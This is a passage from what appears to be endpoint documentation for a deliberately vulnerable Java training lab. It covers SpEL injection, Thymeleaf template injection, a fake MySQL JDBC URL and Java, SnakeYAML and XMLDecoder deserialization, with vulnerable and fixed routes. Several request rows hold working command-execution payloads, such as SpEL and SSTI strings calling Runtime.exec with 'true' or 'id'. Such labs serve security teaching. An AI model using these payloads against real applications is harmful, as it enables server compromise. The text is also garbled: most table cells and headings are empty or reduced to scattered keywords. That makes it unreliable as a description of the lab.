| --- | --- | --- | --- |
| Druid | `GET /druid/index.html` | | Druid |
| Druid | `GET /druid/datasource.json` | | JSON |
| Druid URI | `GET /druid/weburi.json` | | Web URI |
### MySQL JDBC
`/springboot`
| | | | |
| --- | --- | --- | --- |
| JDBC URL | `GET /springboot/vul` | `url` | JDBC URL |
| Fake MySQL | `GET /springboot/vul?url=jdbc:mysql://127.0.0.1:1/test&username=root&password=x` | MySQL | JDBC JDBC URL |
| | `GET /springboot/insert?command=true` | `true` | |
| | `GET /springboot/jdbc` | | MYSQL-JDBC |
## SPEL
SpEL `SimpleEvaluationContext` `SpelExpressionParser.parseExpression()` `Expression.getValue()`
SpEL `StandardEvaluationContext` `SimpleEvaluationContext` Java Bean
| | | |
| --- | --- | --- |
| | `100-1` | |
| | `T(java.lang.Math).abs(-1)` | `T()` |
| | `T(java.lang.Runtime).getRuntime().exec('true')` | |
| | `/spel/safe` `SimpleEvaluationContext` | Bean |
### SPEL
`/spel`
| | | | |
| --- | --- | --- | --- |
| | `GET /spel` | | `SimpleEvaluationContext` |
| | `GET /spel/vul?ex=100-1` | `100-1` | `99` SpEL |
| | `GET /spel/vul?ex=T(java.lang.Math).abs(-1)` | Java | `1` `StandardEvaluationContext` |
| | `GET /spel/vul?ex=T(java.lang.Runtime).getRuntime().exec('true')` | `true` | `Process` Sink |
| | `GET /spel/vul?ex=T(java.lang.Runtime).getRuntime().exec(` | | SPEL |
| | `GET /other/datapackage/spel/spel.pcapng` | | |
### SPEL
`/spel`
| | | | |
| --- | --- | --- | --- |
| | `GET /spel/safe?ex=100-1` | `100-1` | `99` |
| | `GET /spel/safe?ex=T(java.lang.Math).abs(-1)` | Java | |
| | `GET /spel/safe?ex=T(java.lang.Runtime).getRuntime().exec('true')` | | |
| | `GET /spel/safe?ex=T(java.lang.Runtime).getRuntime().exec(` | | |
## SSTI
Thymeleaf Controller URL `__${...}__` Thymeleaf fragment
SSTI Java Web fragment fragment / `@ResponseBody``ResponseEntity` `HttpServletResponse` `th:utext`
| | | |
| --- | --- | --- |
| | `/ssti/vul1?para=...` | Controller Thymeleaf |
| URL | `/ssti/vul2/{path}` | Thymeleaf |
| | `/ssti/safe1?para=...` | |
| | `/ssti/safe2/{path}` | Thymeleaf |
| | `/ssti/vul3?para=...` | `th:utext` HTML /XSS SSTI |
### SSTI
`/ssti`
| | | | |
| --- | --- | --- | --- |
| | `GET /ssti` | | return URL |
| return | `GET /ssti/vul1?para=__${7*7}__::.x` | Thymeleaf | 500 `vul/ssti/49` |
| return | `GET /ssti/vul1?para=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).next()}__::.x` | `id` | 500 Sink |
| URL | `GET /ssti/vul2/__${7*7}__::.x` | Thymeleaf | 500 `vul/ssti/49` |
| | `GET /ssti/vul3?para=__${7*7}__::.x` | | `__${7*7}__::.x` |
| return | `GET /other/datapackage/ssti/ssti_return.pcapng` | | |
| URL | `GET /other/datapackage/ssti/ssti_url.pcapng` | | |
### SSTI
`/ssti`
| | | | |
| --- | --- | --- | --- |
| | `GET /ssti/safe1?para=ssti` | | SSTI |
| | `GET /ssti/safe1?para=__${7*7}__::.x` | Thymeleaf | 401 |
| | `GET /ssti/safe2/__${7*7}__::.x` | Thymeleaf | ... Thymeleaf |
##
Java `ObjectInputStream.readObject()`SnakeYAML `Yaml.load()`XMLDecoder `readObject()` Java setter`readObject` gadget
Java JSON/XML/YAML DTOJEP 290 `ObjectInputFilter``SafeConstructor` gadget
| | | |
| --- | --- | --- |
| JDK | `/readObject/vul``/readObject/safe1``/readObject/safe2` | ObjectInputStream gadget |
| SnakeYAML | `/snakeYaml/vul``/snakeYaml/safe` | Constructor `!!` SafeConstructor |
| XMLDecoder | `/xmlDecoder/vul``/xmlDecoder/safe` | XMLDecoder XML |
### ReadObject
`/readObject`
| | | | |
| --- | --- | --- | --- |
| | `GET /readObject` | | gadget |
| Payload | `POST /readObject/vul` | `payload` | Payload Payload 500 |
| | `POST /readObject/vul` | `payload=rO0ABXQACkphdmFTZWNMYWI=` | `JavaSecLab` `ObjectInputStream.readObject()` |
| Commons Collections | `POST /readObject/safe1` | payload | gadget |
| | `POST /readObject/safe2` | gadget payload | `String` JEP 290 |
### SnakeYAML
`/snakeYaml`
| | | | |
| --- | --- | --- | --- |
| | `GET /snakeYaml` | | Constructor SafeConstructor |
| | `POST /snakeYaml/vul` | `payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass}` | `Sqli` `!!` |
| YAML | `POST /snakeYaml/safe` | `payload=name: JavaSecLab` | Map |
| Java | `POST /snakeYaml/safe` | `payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass}` | SafeConstructor Java |
### XMLDecoder
`/xmlDecoder`
| | | | |
| --- | --- | --- | --- |
| | `GET /xmlDecoder` | | XMLDecoder XML |
| Payload | `POST /xmlDecoder/vul` | `payload` | Payload |
| XMLDecoder | `POST /xmlDecoder/vul` | `payload=true` | XMLDecoder ProcessBuilder |
| XML | `POST /xmlDecoder/safe` | `payload=true` | :true ProcessBuilder.start() |
| Payload | `POST /xmlDecoder/safe` | `payload` | Payload 500 |